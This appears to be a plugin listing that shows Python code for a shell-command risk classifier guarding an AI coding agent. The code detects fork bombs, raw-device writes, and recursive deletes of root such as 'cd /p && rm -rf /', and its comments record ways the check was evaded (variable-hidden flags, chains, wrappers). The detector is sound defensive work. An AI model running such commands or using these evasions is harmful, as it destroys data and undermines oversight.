  580. if _is_obfuscated_exec(base, raw_command):
  581. return {
  582. "check": "destructive_command",
  583. "result": "block",
  584. "reason": "obfuscated command execution (eval / pipe-to-shell / sh -c)",
  585. }
  586. # Fork bomb detection.
  587. if _FORK_BOMB_RE.search(raw_command):
  588. return {
  589. "check": "destructive_command",
  590. "result": "block",
  591. "reason": "fork bomb detected",
  592. }
  593. # SQL injection patterns.
  594. if re.search(r"DROP\s+TABLE", raw_command, re.IGNORECASE):
  595. return {
  596. "check": "destructive_command",
  597. "result": "block",
  598. "reason": "DROP TABLE detected",
  599. }
  600. # Write to a raw block device (redirect or dd of=) — always block (F2).
  601. if _RAW_DEVICE_WRITE_RE.search(raw_command):
  602. return {
  603. "check": "destructive_command",
  604. "result": "block",
  605. "reason": "write to raw block device",
  606. }
  607. # mkfs — always block.
  608. if base.startswith("mkfs"):
  609. return {
  610. "check": "destructive_command",
  611. "result": "block",
  612. "reason": f"filesystem format command: {base}",
  613. }
  614. # dd with of= — always block.
  615. if base == "dd":
  616. of_targets = [t for t in targets if t.startswith("of=")]
  617. if of_targets or any("of=" in f for f in flags):
  618. return {
  619. "check": "destructive_command",
  620. "result": "block",
  621. "reason": "dd with output file is destructive",
  622. }
  623. # dd without of= in targets — check raw command.
  624. if "of=" in raw_command:
  625. return {
  626. "check": "destructive_command",
  627. "result": "block",
  628. "reason": "dd with output file is destructive",
  629. }
  630. # rm — graded: root targets block, recursive/glob/multi-target warns,
  631. # a bounded single-file delete is routine and passes.
  632. if base == "rm":
  633. recursive = "--recursive" in flags or any(
  634. f.startswith("-") and not f.startswith("--") and "r" in f.lower() for f in flags
  635. )
  636. if recursive:
  637. # Check for root targets.
  638. for t in targets:
  639. if t in ("/", "/*", "/.", "/.."):
  640. return {
  641. "check": "destructive_command",
  642. "result": "block",
  643. "reason": "recursive rm with root target",
  644. }
  645. # Non-root recursive rm — warn.
  646. return {
  647. "check": "destructive_command",
  648. "result": "warn",
  649. "reason": "rm -rf on non-root path",
  650. }
  651. if is_bounded_rm(parsed):
  652. return {
  653. "check": "destructive_command",
  654. "result": "allow",
  655. "reason": "bounded non-recursive rm (explicit targets)",
  656. }
  657. # Non-recursive but unbounded (globs / many targets / no targets) — warn.
  658. return {
  659. "check": "destructive_command",
  660. "result": "warn",
  661. "reason": "rm command detected",
  662. }
  663. if intent == "destructive":
  664. return {
  665. "check": "destructive_command",
  666. "result": "warn",
  667. "reason": f"destructive command: {base}",
  668. }
  669. return None
  670. def _run_mode_validation(
  671. parsed: dict, intent: str, mode: str, workspace: Optional[str],
  672. ) -> Optional[dict]:
  673. """Submodule 3: In workspace_write mode, warn when commands target system paths."""
  674. if mode != "workspace_write":
  675. return None
  676. targets = parsed.get("targets", [])
  677. redirections = parsed.get("redirections", [])
  678. all_paths = list(targets) + [r.get("target", "") for r in redirections]
  679. for path in all_paths:
  680. for sys_path in SYSTEM_PATHS:
  681. if path.startswith(sys_path):
  682. return {
  683. "check": "mode_validation",
  684. "result": "warn",
  685. "reason": f"target '{path}' is a system path",
  686. }
  687. return None
  688. def _run_sed_validation(
  689. parsed: dict, mode: str,
  690. ) -> Optional[dict]:
  691. """Submodule 4: Handle sed -i specifically."""
  692. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  693. if base != "sed":
  694. return None
  695. flags = parsed.get("flags", [])
  696. has_inplace = any(f == "-i" or f.startswith("-i") for f in flags)
  697. if has_inplace:
  698. if mode == "readonly":
  699. return {
  700. "check": "sed_validation",
  701. "result": "block",
  702. "reason": "sed -i (in-place edit) blocked in readonly mode",
  703. }
  704. return {
  705. "check": "sed_validation",
  706. "result": "warn",
  707. "reason": "sed -i modifies files in place",
  708. }
  709. # sed without -i is stdout-only.
  710. return {
  711. "check": "sed_validation",
  712. "result": "allow",
  713. "reason": "sed without -i outputs to stdout only",
  714. }
  715. def _run_interpreter_validation(
  716. parsed: dict, intent: str, raw_command: str,
  717. ) -> Optional[dict]:
  718. """Submodule: grade interpreter invocations.
  719. Inline eval (`node -e`, `python -c`, `deno eval`, ...) is arbitrary code
  720. execution and warns; running a named script file is routine and allows.
  721. An inline payload that spawns processes or deletes files warns harder
  722. (extra +10 via the escape-hatch check in _compute_risk).
  723. """
  724. if intent != "interpreter":
  725. return None
  726. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  727. flags = parsed.get("flags", [])
  728. targets = parsed.get("targets", [])
  729. # npx runs a package binary: routine for project devDependencies, but the
  730. # auto-install flags fetch and execute straight from the registry.
  731. if base == "npx":
  732. if any(f in ("-y", "--yes", "-p", "--package") for f in flags):
  733. return {
  734. "check": "interpreter_validation",
  735. "result": "warn",
  736. "reason": "npx with auto-install flags executes a registry package",
  737. }
  738. return {
  739. "check": "interpreter_validation",
  740. "result": "allow",
  741. "reason": "npx running a package binary",
  742. }
  743. eval_flags = _INLINE_EVAL_FLAGS.get(base, frozenset())
  744. inline = any(f in eval_flags for f in flags)
  745. # deno's eval is a subcommand, not a flag.
  746. if base == "deno" and targets and targets[0] == "eval":
  747. inline = True
  748. if inline:
  749. return {
  750. "check": "interpreter_validation",
  751. "result": "warn",
  752. "reason": f"inline code execution via {base}",
  753. }
  754. return {
  755. "check": "interpreter_validation",
  756. "result": "allow",
  757. "reason": f"{base} running a script file",
  758. }
  759. def _run_path_validation(
  760. parsed: dict, workspace: Optional[str],
  761. ) -> Optional[dict]:
  762. """Submodule 5: Warn on ../ traversal and ~ home directory references."""
  763. targets = parsed.get("targets", [])
  764. redirections = parsed.get("redirections", [])
  765. all_paths = list(targets) + [r.get("target", "") for r in redirections]
  766. for path in all_paths:
  767. if "../" in path or path == "..":
  768. return {
  769. "check": "path_validation",
  770. "result": "warn",
  771. "reason": f"path traversal detected: '{path}'",
  772. }
  773. if path.startswith("~"):
  774. return {
  775. "check": "path_validation",
  776. "result": "warn",
  777. "reason": f"home directory reference: '{path}'",
  778. }
  779. return None
  780. def _run_command_semantics(
  781. parsed: dict, intent: str,
  782. ) -> dict:
  783. """Submodule 6: Informational classification. Always runs, always 'allow'."""
  784. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  785. sub = parsed.get("subcommand")
  786. label = f"{base} {sub}" if sub else base
  787. return {
  788. "check": "command_semantics",
  789. "result": "allow",
  790. "reason": f"classified as {intent}: {label}" if label else f"classified as {intent}",
  791. }
  792. # ---------------------------------------------------------------------------
  793. # Risk score computation
  794. # ---------------------------------------------------------------------------
  795. def _compute_risk(
  796. intent: str, validations: list[dict], parsed: dict, raw_command: str,
  797. ) -> int:
  798. """Compute risk score 0-100 from intent, validations, and targets."""
  799. score = _RISK_BASE.get(intent, 20)
  800. # A bounded non-recursive rm is destructive in kind (irreversible) but a
  801. # routine single-file delete in degree — grade it below the catastrophic
  802. # destructive base so it lands in the warn band, not the block band.
  803. if intent == "destructive" and is_bounded_rm(parsed):
  804. score = min(score, _BOUNDED_RM_BASE)
  805. # Sensitive target boost (placeholder/template files exempt).
  806. targets = parsed.get("targets", [])
  807. redirections = parsed.get("redirections", [])
  808. all_paths = list(targets) + [r.get("target", "") for r in redirections]
  809. for path in all_paths:
  810. if SENSITIVE_PATTERNS.search(path) and not is_placeholder_path(path):
  811. score += 15
  812. break # Only boost once.
  813. # Validation result boosts.
  814. for v in validations:
  815. if v["result"] == "block":
  816. score = max(85, score)
  817. elif v["result"] == "warn":
  818. score += 10
  819. # Inline-eval payloads that spawn processes / delete files / shell out
  820. # get one extra boost — surfaced in the warn band, not auto-blocked.
  821. inline_eval = any(
  822. v["check"] == "interpreter_validation" and v["result"] == "warn"
  823. for v in validations
  824. )
  825. if inline_eval and _INLINE_ESCAPE_HATCH_RE.search(raw_command):
  826. score += 10
  827. # Regenerable-artifact deletes cap BELOW the interruption bands, applied
  828. # after the boosts (the destructive_command warn would otherwise push a
  829. # routine `rm -rf .next` back over the line). A block-result validation
  830. # always wins — the cap never masks a hard signal.
  831. if (
  832. intent == "destructive"
  833. and is_regenerable_artifact_rm(parsed)
  834. and not any(v["result"] == "block" for v in validations)
  835. ):
  836. score = min(score, _REGENERABLE_RM_BASE)
  837. return min(score, 100)
  838. # ---------------------------------------------------------------------------
  839. # Public API
  840. # ---------------------------------------------------------------------------
  841. def classify_bash(
  842. command: str,
  843. mode: str = "workspace_write",
  844. workspace: Optional[str] = None,
  845. ) -> dict:
  846. """Classify a bash command by intent, risk, and reversibility.
  847. Args:
  848. command: The raw shell command string.
  849. mode: One of "readonly", "workspace_write", or "full_access".
  850. workspace: Optional workspace root path for path validation.
  851. Returns:
  852. A dict with keys: intent, risk_score, reversible, validations, parsed.
  853. """
  854. # Chained commands (`a && b`, `a; b`): classify every segment and report
  855. # the most severe. Classifying only the first segment made every chained
  856. # command inherit ITS intent — `cd /p && rm -rf /` was "unknown" (the
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 993 on GitHub
  857. # danger invisible to this layer) and `cd /p && grep ...` hit the hook's
  858. # blunt unknown-fallback (70) on every routine chain.
  859. segment_texts = split_chain_texts(command)
  860. if len(segment_texts) > 1:
  861. # Resolve statically-known `VAR=value` assignments into later segments
  862. # first, so flags hidden in a variable (`F=-rf; rm $F x`) are visible to
  863. # per-segment classification (evasion audit 2026-08-08).
  864. resolved_texts = _resolve_static_chain_vars(segment_texts)
  865. results = [
  866. classify_bash(text, mode=mode, workspace=workspace)
  867. for text in resolved_texts
  868. ]
  869. worst = max(results, key=lambda r: r["risk_score"])
  870. # parsed mirrors the segment that determined the classification (so
  871. # downstream consumers like is_bounded_rm and path boosts grade the
  872. # segment that matters), with the full chain list preserved.
  873. combined_parsed = dict(worst["parsed"])
  874. combined_parsed["chains"] = parse_command(command)["chains"]
  875. return {
  876. "intent": worst["intent"],
  877. "risk_score": worst["risk_score"],
  878. "reversible": all(r["reversible"] for r in results),
  879. "validations": [v for r in results for v in r["validations"]],
  880. "parsed": combined_parsed,
  881. }
  882. parsed = parse_command(command)
  883. intent = _classify_intent(parsed, command)
  884. # --- Run all 6 validation submodules (pipeline) ---
  885. validations: list[dict] = []
  886. v1 = _run_read_only_validation(parsed, intent, mode, command)
  887. if v1 is not None:
  888. validations.append(v1)
  889. v2 = _run_destructive_command_validation(parsed, intent, command)
  890. if v2 is not None:
  891. validations.append(v2)
  892. v3 = _run_mode_validation(parsed, intent, mode, workspace)
  893. if v3 is not None:
  894. validations.append(v3)
  895. v4 = _run_sed_validation(parsed, mode)
  896. if v4 is not None:
  897. validations.append(v4)
  898. v5 = _run_path_validation(parsed, workspace)
  899. if v5 is not None:
  900. validations.append(v5)
  901. v_interp = _run_interpreter_validation(parsed, intent, command)
  902. if v_interp is not None:
  903. validations.append(v_interp)
  904. v6 = _run_command_semantics(parsed, intent)
  905. validations.append(v6)
  906. # --- Compute derived fields ---
  907. risk_score = _compute_risk(intent, validations, parsed, command)
  908. # Spend joins destructive in the irreversible set: money already moved by
  909. # the time a review sees the decision — there is no undo (2026-09-04
  910. # incident: two domains, both live).
  911. reversible = intent not in ("destructive", "spend")
  912. return {
  913. "intent": intent,
  914. "risk_score": risk_score,
  915. "reversible": reversible,
  916. "validations": validations,
  917. "parsed": parsed,
  918. }
plugins/dashclaw/hooks/dashclaw_agent_intel/command_parser.py · Bundled script · 412 lines · 3 findings marked
  1. """Shell command parser for dashclaw-agent-intel.
  2. Extracts structured metadata from shell command strings:
  3. base command, subcommands, flags, targets, wrappers, pipes,
  4. redirections, and chained commands.
  5. Uses only the Python standard library.
  6. """
  7. import re
  8. import shlex
  9. from typing import Optional
  10. # Leading KEY=VALUE environment assignments (`FOO=1 BAR=2 cmd ...`). Without
  11. # stripping these, the first assignment becomes base_command and the whole
  12. # command classifies as "unknown" — which inflates risk to the blunt Bash
  13. # base instead of the real command's intent.
  14. _ENV_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
  15. # Commands whose first positional argument is a subcommand.
  16. SUBCOMMAND_TOOLS = frozenset({
  17. "git", "docker", "kubectl", "npm", "yarn", "pip",
  18. "cargo", "go", "apt", "brew", "systemctl",
  19. })
  20. # Per-tool global flags that take a SEPARATE value token. Subcommand detection
  21. # must consume both, or the value (`-C C:/Projects/x`) gets read as the
  22. # subcommand. Inline `--flag=value` forms need no entry — they are one token.
  23. # ponytail: git only, because git is the tool whose missing subcommand has a
  24. # dangerous default (`_classify_git` falls through to "write"). Add a tool here
  25. # when its global flags are shown to mis-key a real command, not before.
  26. _GLOBAL_VALUE_FLAGS: dict[str, frozenset] = {
  27. "git": frozenset({
  28. "-C", "-c", "--git-dir", "--work-tree",
  29. "--namespace", "--exec-path", "--config-env", "--super-prefix",
  30. }),
  31. }
  32. # Wrappers that prefix the real command.
  33. #
  34. # A wrapper NOT listed here shadows the command it wraps: the parser reports the
  35. # wrapper as base_command, the classifier grades the result `unknown`, and the
  36. # hook floors `unknown` at the Bash tool's blunt base risk of 70. `rtk` (a
  37. # token-compression proxy installed as a Claude Code PreToolUse hook that
  38. # rewrites every Bash command to `rtk <cmd>`) made that failure universal on any
  39. # machine running it — `rtk rm -rf /` graded 70 instead of destructive 100, and
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 46 on GitHub
  40. # a read-only `rtk git log` graded 70 and typed `other` instead of readonly /
  41. # `review`, which is what buried operators in approvals for read-only commands.
  42. #
  43. # ponytail: this stays an explicit allowlist. An unlisted wrapper still shadows
  44. # its command; generic "unwrap anything whose first argument looks like a
  45. # command" heuristics misfire on remote-exec forms (`ssh host rm -rf /`) where
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 52 on GitHub
  46. # the wrapper, not the inner command, is the thing worth grading. Add entries
  47. # as real wrappers show up.
  48. WRAPPERS = frozenset({
  49. "sudo", "env", "nohup", "nice", "ionice",
  50. "strace", "time", "timeout", "rtk",
  51. })
  52. # Redirection operators, ordered longest-first so we greedily match.
  53. _REDIR_OPS = ("&>>", "&>", "2>>", "2>", ">>", ">")
  54. def _split_on_unquoted(command_str: str, delimiters: list[str]) -> list[tuple[str, str]]:
  55. """Split *command_str* on unquoted *delimiters*.
  56. Returns a list of (segment_text, delimiter_used) tuples.
  57. The last segment's delimiter is always the empty string.
  58. """
  59. segments: list[tuple[str, str]] = []
  60. in_single = False
  61. in_double = False
  62. buf: list[str] = []
  63. i = 0
  64. while i < len(command_str):
  65. ch = command_str[i]
  66. # Track quoting state.
  67. if ch == "'" and not in_double:
  68. in_single = not in_single
  69. buf.append(ch)
  70. i += 1
  71. continue
  72. if ch == '"' and not in_single:
  73. in_double = not in_double
  74. buf.append(ch)
  75. i += 1
  76. continue
  77. if not in_single and not in_double:
  78. # Try each delimiter (longest-first is important when
  79. # delimiters share prefixes, but our callers sort that).
  80. matched = False
  81. for delim in delimiters:
  82. if command_str[i:i + len(delim)] == delim:
  83. segments.append(("".join(buf), delim))
  84. buf = []
  85. i += len(delim)
  86. matched = True
  87. break
  88. if matched:
  89. continue
  90. buf.append(ch)
  91. i += 1
  92. segments.append(("".join(buf), ""))
  93. return segments
  94. def _tokenize(segment: str) -> list[str]:
  95. """Tokenize a shell segment using shlex, falling back on split."""
  96. segment = segment.strip()
  97. if not segment:
  98. return []
  99. try:
  100. return shlex.split(segment)
  101. except ValueError:
  102. # Unbalanced quotes, etc. -- best-effort.
  103. return segment.split()
  104. def _is_fd_dup(target: str) -> bool:
  105. """True when a redirection target is a file descriptor, not a file.
  106. `2>&1` and `>&2` duplicate a descriptor; nothing is written to disk. Reading
  107. the `&1` as a filename made the most common idiom in the corpus look like a
  108. file write, which floored its risk at 35 in dashclaw_pretool and surfaced
  109. the shape `other -> &1` in the /policies review feed as something an
  110. operator could grant. `&>file` is unaffected: there the `&` belongs to the
  111. operator, so the target is `file`.
  112. """
  113. return target.startswith("&")
  114. def _extract_redirections(tokens: list[str]) -> tuple[list[str], list[dict]]:
  115. """Separate redirection operators and their targets from *tokens*.
  116. Returns (remaining_tokens, redirections).
  117. """
  118. remaining: list[str] = []
  119. redirections: list[dict] = []
  120. i = 0
  121. while i < len(tokens):
  122. tok = tokens[i]
  123. matched_op: Optional[str] = None
  124. # Check if the token *is* a redirection operator.
  125. for op in _REDIR_OPS:
  126. if tok == op:
  127. matched_op = op
  128. break
  129. # Check if the token *starts with* a redirection operator
  130. # (e.g. ">output.txt" as one token).
  131. if matched_op is None:
  132. for op in _REDIR_OPS:
  133. if tok.startswith(op) and len(tok) > len(op):
  134. target = tok[len(op):]
  135. if not _is_fd_dup(target):
  136. redirections.append({"type": op, "target": target})
  137. i += 1
  138. break
  139. else:
  140. if matched_op is None:
  141. remaining.append(tok)
  142. i += 1
  143. continue
  144. # The operator is a standalone token. Next token is the target.
  145. if i + 1 < len(tokens):
  146. target = tokens[i + 1]
  147. if not _is_fd_dup(target):
  148. redirections.append({"type": matched_op, "target": target})
  149. i += 2
  150. else:
  151. # Dangling operator -- keep it as-is.
  152. remaining.append(tok)
  153. i += 1
  154. return remaining, redirections
  155. def _skip_wrapper_args(wrapper: str, tokens: list[str]) -> list[str]:
  156. """Consume flag-like arguments that belong to the *wrapper*, returning
  157. the remaining tokens that represent the wrapped command.
  158. Each wrapper has slightly different syntax, so we use simple heuristics:
  159. - ``sudo``: skip flags (starting with ``-``) until a non-flag token.
  160. - ``env``: skip ``KEY=VAL`` pairs and flags until a non-flag,
  161. non-assignment token.
  162. - ``nice`` / ``ionice``: skip ``-<flag> <value>`` pairs.
  163. - ``timeout``: skip flags then skip the duration argument.
  164. - ``nohup`` / ``time`` / ``strace``: skip flags.
  165. - ``rtk``: skip flags, then the ``proxy`` pass-through token if present.
  166. """
  167. i = 0
  168. if wrapper == "env":
  169. while i < len(tokens):
  170. if tokens[i].startswith("-") or "=" in tokens[i]:
  171. i += 1
  172. else:
  173. break
  174. elif wrapper in ("nice", "ionice"):
  175. while i < len(tokens) and tokens[i].startswith("-"):
  176. i += 1
  177. # Skip the value that follows the flag (e.g. -n 10, -c 2).
  178. if i < len(tokens) and not tokens[i].startswith("-"):
  179. i += 1
  180. elif wrapper == "timeout":
  181. # Skip flags, then skip the duration positional.
  182. while i < len(tokens) and tokens[i].startswith("-"):
  183. i += 1
  184. if i < len(tokens):
  185. # The next token is the duration.
  186. i += 1
  187. elif wrapper == "strace":
  188. while i < len(tokens) and tokens[i].startswith("-"):
  189. i += 1
  190. elif wrapper == "sudo":
  191. while i < len(tokens) and tokens[i].startswith("-"):
  192. i += 1
  193. elif wrapper in ("nohup", "time"):
  194. while i < len(tokens) and tokens[i].startswith("-"):
  195. i += 1
  196. elif wrapper == "rtk":
  197. while i < len(tokens) and tokens[i].startswith("-"):
  198. i += 1
  199. # `rtk proxy <cmd>` runs <cmd> unfiltered — one more token to skip.
  200. if i < len(tokens) and tokens[i] == "proxy":
  201. i += 1
  202. return tokens[i:]
  203. def _parse_segment(tokens: list[str]) -> dict:
  204. """Parse a list of tokens into the structured result dict.
  205. This handles one logical command (no pipes, no chains).
  206. """
  207. result: dict = {
  208. "base_command": "",
  209. "subcommand": None,
  210. "flags": [],
  211. "targets": [],
  212. "wrapper": None,
  213. "env_assignments": [],
  214. "pipes": [],
  215. "redirections": [],
  216. "chains": [],
  217. }
  218. if not tokens:
  219. return result
  220. # Strip redirections first.
  221. tokens, redirections = _extract_redirections(tokens)
  222. result["redirections"] = redirections
  223. if not tokens:
  224. return result
  225. # Strip leading KEY=VALUE assignments so `FOO=1 BAR=2 cmd` classifies as
  226. # `cmd`. They are kept in env_assignments, never in targets, so a fake
  227. # credential value in the prefix cannot trip the sensitive-target boost.
  228. while tokens and _ENV_ASSIGNMENT_RE.match(tokens[0]):
  229. result["env_assignments"].append(tokens.pop(0))
  230. if not tokens:
  231. return result
  232. # Detect wrapper.
  233. idx = 0
  234. if tokens[idx] in WRAPPERS:
  235. result["wrapper"] = tokens[idx]
  236. remaining = _skip_wrapper_args(tokens[idx], tokens[idx + 1:])
  237. tokens = remaining
  238. if not tokens:
  239. return result
  240. idx = 0
  241. # Base command.
  242. result["base_command"] = tokens[idx]
  243. rest = tokens[idx + 1:]
  244. # Detect subcommand, looking PAST the tool's own global flags.
  245. #
  246. # `git -C <path> log` used to leave subcommand None, and _classify_git's
  247. # "unknown git subcommand -> write" safe default then graded a read-only log
  248. # as a write (action_type apply, server base 60 instead of review's 10).
  249. # That is the shape of every command in the 2026-08-16 interruption
  250. # incident, where the operator disabled the org's whole policy set.
  251. if result["base_command"] in SUBCOMMAND_TOOLS and rest:
  252. value_flags = _GLOBAL_VALUE_FLAGS.get(result["base_command"], frozenset())
  253. skipped: list[str] = []
  254. j = 0
  255. while j < len(rest) and rest[j].startswith("-"):
  256. skipped.append(rest[j])
  257. # A flag that takes a SEPARATE value consumes it too, so the value
  258. # (`-C C:/Projects/x`) is never mistaken for the subcommand.
  259. if rest[j] in value_flags and j + 1 < len(rest):
  260. skipped.append(rest[j + 1])
  261. j += 2
  262. else:
  263. j += 1
  264. if j < len(rest):
  265. result["subcommand"] = rest[j]
  266. # Global flags stay visible to the classifiers as flags; only the
  267. # subcommand itself is removed from the tail.
  268. rest = skipped + rest[j + 1:]
  269. # Classify remaining tokens as flags or targets.
  270. for tok in rest:
  271. if tok.startswith("-"):
  272. result["flags"].append(tok)
  273. else:
  274. result["targets"].append(tok)
  275. return result
  276. def split_chain_texts(command_str: str) -> list[str]:
  277. """Split a command on unquoted sequential operators (&&, ||, ;, newline)
  278. into the raw text of each segment. Public so the classifier can grade every
  279. segment of a chain, not just the first (a `cd /p && rm -rf /` must classify
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 324 on GitHub
  280. as rm). `||` and a newline separate sequential commands just as `;`/`&&` do
  281. — a later segment still runs, so its risk must count and the static
  282. var-resolver must see earlier segments (evasion audit round 2, 2026-08-08)."""
  283. chain_segments = _split_on_unquoted(command_str, ["&&", "||", ";", "\n"])
  284. chain_texts = [seg for seg, _delim in chain_segments]
  285. return [t.strip() for t in chain_texts if t.strip()]
  286. def parse_command(command_str: str) -> dict:
  287. """Parse a shell command string into structured metadata.
  288. Returns a dict with the following keys:
  289. base_command (str) – the primary executable
  290. subcommand (str | None) – e.g. "push" for "git push"
  291. flags (list[str]) – tokens starting with "-"
  292. targets (list[str]) – positional arguments
  293. wrapper (str | None) – sudo, env, nohup, etc.
  294. pipes (list[dict]) – parsed segments for each pipe stage
  295. redirections (list[dict]) – {"type": ">", "target": "file"}
  296. chains (list[dict]) – parsed segments for && / ; chains
  297. """
  298. if not command_str or not command_str.strip():
  299. return {
  300. "base_command": "",
  301. "subcommand": None,
  302. "flags": [],
  303. "targets": [],
  304. "wrapper": None,
  305. "env_assignments": [],
  306. "pipes": [],
  307. "redirections": [],
  308. "chains": [],
  309. }
  310. # --- 1. Split on chains (&&, ;) first. ---
  311. chain_texts = split_chain_texts(command_str)
  312. if len(chain_texts) > 1:
  313. chains: list[dict] = []
  314. for ct in chain_texts:
  315. parsed = parse_command(ct)
  316. chains.append(parsed)
  317. # Top-level fields mirror the first chain segment.
  318. first = chains[0]
  319. return {
  320. "base_command": first["base_command"],
  321. "subcommand": first["subcommand"],
  322. "flags": first["flags"],
  323. "targets": first["targets"],
  324. "wrapper": first["wrapper"],
  325. "env_assignments": first["env_assignments"],
  326. "pipes": first["pipes"],
  327. "redirections": first["redirections"],
  328. "chains": chains,
  329. }
  330. # --- 2. Split on pipes (|) ---
  331. pipe_segments = _split_on_unquoted(command_str, ["|"])
  332. pipe_texts = [seg for seg, _delim in pipe_segments]
  333. pipe_texts = [t.strip() for t in pipe_texts if t.strip()]
  334. if len(pipe_texts) > 1:
  335. pipes: list[dict] = []
  336. for pt in pipe_texts:
  337. tokens = _tokenize(pt)
  338. parsed = _parse_segment(tokens)
  339. pipes.append(parsed)
  340. first = pipes[0]
  341. return {
  342. "base_command": first["base_command"],
  343. "subcommand": first["subcommand"],
  344. "flags": first["flags"],
  345. "targets": first["targets"],
  346. "wrapper": first["wrapper"],
  347. "env_assignments": first["env_assignments"],
  348. "pipes": pipes,
  349. "redirections": first["redirections"],
  350. "chains": [],
  351. }
  352. # --- 3. Single command ---
  353. tokens = _tokenize(command_str)
  354. result = _parse_segment(tokens)
  355. result["pipes"] = []
  356. result["chains"] = []
  357. return result

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.